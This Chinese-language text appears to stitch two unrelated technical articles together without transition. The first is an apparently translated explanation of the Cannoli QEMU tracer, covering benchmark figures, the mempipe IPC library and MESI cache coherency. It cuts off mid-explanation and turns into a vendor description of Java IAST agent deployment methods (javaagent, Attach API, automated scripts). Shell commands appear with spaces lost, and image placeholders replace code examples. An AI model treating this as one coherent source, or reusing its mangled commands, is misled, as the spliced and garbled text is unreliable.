然後,該跟踪通過跟踪回調完全按順序向用戶公開。跟踪回調函數是從各種線程調用的,例如,你可能在不同的TID 中運行,但是,它是否確保始終按順序和相對於執行的順序調用。因此,你可以獲得對self 的可變訪問,以及對共享Self:Context 的引用。

我知道這是一個奇怪的API,但它有效地允許並行處理跟踪,直到你絕對需要它是連續的。我希望它不會讓最終用戶感到困惑,但是處理10億條指令/秒的數據需要在消費者端進行線程處理,否則QEMU就會成為瓶頸!

注意:除非另有說明,否則此處的性能數據是基於我的Intel(R) Xeon(R) Silver 4310 CPU @ 2.10GHz。啟用超線程,啟用turbo,128 GiB RAM @ 2667 MHz w/8內存通道。

在高層次上,整個設計圍繞著大量數據的運營程序(在JIT 中運行的QEMU 線程)。對於Cannoli,我們專門針對QEMU 的QEMU 單線程吞吐量進行優化,以便我們可以對長時間運行或大型進程(如Web 瀏覽器)進行內省。

這與縮放不同,在縮放中你並不真正關心單個線程的性能,而是整個系統。在我們的示例中,我們希望支持每秒從單個QEMU 線程流式傳輸數十億條指令,同時使用線程用戶對這些數據進行相對複雜的分析。

基本基准在examples/benchmark中,你可以找到一個運行小mipsel二進製文件的基準,該二進製文件只是在一個循環中執行一堆nop。這意味著對PC跟踪的性能進行基準測試。

要使用此基準,請啟動基準客戶端:

cdexamples/benchmarkcargorun--release然後使用cannoli'd QEMU 運行基準測試!

/home/pleb/qemu/build/qemu-mipsel-cannoli~/cannoli/target/release/libcannoli_server.so./benchmark在示例中,我得到以下信息(在我的例子中,我使用了benchmark_graph)。

7.png

在單個QEMU線程上跟踪大約每秒22億條指令。

Mempipe在低性能消耗的情況下獲得這種級別的跟踪需要一些非常獨特的設計。 Cannoli的核心是一個名為mempipe的庫。在高層次上,這是一種延遲極低的共享內存IPC機制。

最重要的是,JIT 掛鉤的設計是盡可能地減少消耗,特別注意分支預測、代碼大小(用於減少icache 污染)等細節,並註意目標架構的位數以減少運行32 位目標時產生的數據量。

事實上,你會發現幾乎所有的API,除了高級Cannoli 特徵,利用Rust 宏定義相同代碼的兩個副本,一個用於32 位目標,一個用於64 位目標。這略微增加了代碼複雜性,但當我們飽和內存帶寬時,我們希望特殊情況下,32位目標產生的有效數據只有1/2小指針大小。

核心mempipe IPC 機制允許在適合L1 緩存的進程之間傳輸緩衝區。由於這些緩衝區非常小,IPC 數據包的頻率非常高。這很難實現。我可以對1字節的有效負載每秒進行大約1000萬次傳輸。這有效地飽和了英特爾芯片對緩存一致性通信量所能做的事情。

緩存一致性如果你不熟悉緩存一致性,那麼你的處理器就是這樣做的,以確保內存在所有處理器上都是相同的值,即使它存儲在多個緩存中。

簡單的模型是MESI 模型。這定義了每個緩存行可以處於的狀態。

Modified ——存儲在高速緩存行中的數據是唯一準確的內存副本;

Exclusive ——存儲在緩存行中的數據是乾淨的(緩存行和內存中的數據相同),這是系統上緩存行中內存的唯一副本;

Shared ——存儲在高速緩存行中的數據是乾淨的,並且系統上有多個不同的高速緩存存儲相同的信息;

Invalid——在軟件層面對我們沒有任何意義,它只是意味著緩存行未使用;

8.png

現在,現代處理器使用稍微複雜一些的緩存一致性模型,但我們在這裡不做深入探討。本質上是一樣的。

需要注意的是,任何時候內核需要同步它們的緩存,它們需要訪問L2緩存,有時甚至需要訪問內存。

進入修改狀態需要大量的性能消耗。想想看,為了獲得對內存的獨占訪問,你必須有效地使用鎖來獲得控制。從硬件的角度來看,你必須告訴其他所有的核心使其對給定行的緩存無效,並且在其他核心這樣做之前你不能獲得所有權。這實際上類似於執行Mutex:lock()。

然而,從專用到修改是便宜的。這是專用MESI 狀態的全部意義所在。它允許處理器知道它在轉換到修改時不必通知其他內核,因為它已經知道是內存的唯一副本。

之所以談這個,是因為在進行IPC 時,緩存一致性很重要。至關重要的是,在我們的熱循環中,我們不會導致緩存一致性流量。從更高的層次上來說,這意味著我們需要能夠通過只讀方式對所有數據結構進行熱輪詢。這允許多個用戶線程輪詢郵箱(例如,所有用戶都在輪詢處於共享狀態的緩存行)。當產生一個完整的緩衝區時,才會消耗寫入內存的緩存一致性。運營程序刷新緩衝區的行為將導致所有用戶核心的緩存失效,並且他們必須在後續訪問時通過L2 獲取內存。此獲取也必須將運營程序的緩存狀態從modified更改為shared。

因此,我們設計了mempipe 庫來輪詢一組郵箱,該郵箱保證與正在傳輸的數據位於不同的緩存行上。如果我們將傳輸緩衝區與郵箱放在同一緩存行上,那麼將會出現嚴重的緩存不穩。

場景導入目前IAST應用環境中,Java應用佔據了90%以上。傳統IAST對Java應用進行Agent安裝時,需要修改Tomcat、WebLogic等的啟動腳本,增加javaagent參數來實現Agent的安裝加載。

對於安裝人員來說,Agent安裝需要知悉Web容器的安裝路徑,並且需要對每個容器的啟動腳本進行修改,最後重啟Web容器,完成Agent的安裝。

在實際的使用過程中,部署人員常常由於腳本修改不當、找不到Web容器等問題導致安裝失敗。除此之外,當團隊需要對幾百上千個應用進行安裝測試時,對安裝人員來說將是一項異常艱鉅的任務。此外,若後期需要對Agent進行升級或者卸載操作也將是一場運維災難。

Agent部署技術基礎JDK從1.5版本開始引入了java.lang.instrument包,可以通過其更方便地實現字節碼增強。核心功能由java.lang.instrument.Instrumentation提供,這個接口的方法提供了註冊類文件轉換器、獲取所有已加載的類等功能,允許對已加載和未加載的類進行修改。

在JDK5中,開發人員只能在JVM啟動時指定一個java agent,在premain中操作字節碼,這種Instrumentaion方式僅限於main方法執行前,存在很大的局限性。從JDK6開始引入了動態Attach Agent的方案,可以在JVM啟動後任意時刻遠程加載Agent,jstack、jps、jmap等工具都是利用Attach API來實現的。

Instrumentation的第一種使用方式是通過JVM的啟動參數-javaagent來啟動,一個典型的使用方式如下所示:

1.png

在SecPoint.jar中,AgentMain類有一個靜態的premain方法,JVM在類加載時會先執行AgentMain類的premain方法,再執行Java應用本身的main方法。在premain方法中可以對class文件進行修改。這種字節碼修改的方式並不會對源代碼做任何修改,但是可以實現對JVM中的類的動態修改和增強,從而捕獲應用程序的數據傳播過程。

Instrumentation的第二種方式是在JVM運行以後在任意時刻通過Attach API遠程加載Agent的jar包。在啟動時加載的Agent會調用premain方法,動態Attach的Agent會執行agentmain方法。 Attach的發起端是一個獨立的java程序,這個java程序會調用`VirtualMachine.attach`方法開始和目標JVM進行跨進程通信,從而實現字節碼增強。

安全玻璃盒經驗目前,【安全玻璃盒】孝道科技IAST為了滿足真實場景下大規模部署的場景,針對Java Agent的安裝方式做了多種方式的功能實現,使得用戶能夠根據實際需求靈活選擇部署方式,盡可能將Agent安裝過程自動化,減輕部署及後續運維的工作量。

1.手動java agent部署這種方式即為傳統的javaagent部署方式,首先需要將Agent下載至應用服務器中,之後修改對應Web容器的啟動腳本(例如,tomcat需要修catalina.sh或者catalina.bat),在指定位置添加javaagent等參數後重啟容器即可完成安裝部署。

2.png

2.自動java agent部署該方式由安裝人員或者在後台指定Web容器的位置,並Agent下載至應用服務器後,通過使用“install”參數啟動Agent後,將自動修改Web容器啟動腳本中的啟動腳本,在其中添加對應的參數。例如:

3.png

3.Attach部署Attach部署方式需要JDK6以上版本,並且需要服務器中具備JDK環境(JRE不包含tools.jar和attach.so)。將Agent下載至應用服務器後,通過啟動Agent並選擇需要綁定的java進程,即可針對指定java服務完成Agent安裝部署。

4.png

4.一鍵腳本部署自動化腳本的方式能夠通過統一的腳本實現對不同應用環境的Java服務進行Agent部署安裝,當在應用服務器運行腳本後,能夠自動從後台服務器下載Agent至服務器中,並自動對java進行進行Attach安裝。該方式對於大規模部署及容器等環境極為適用。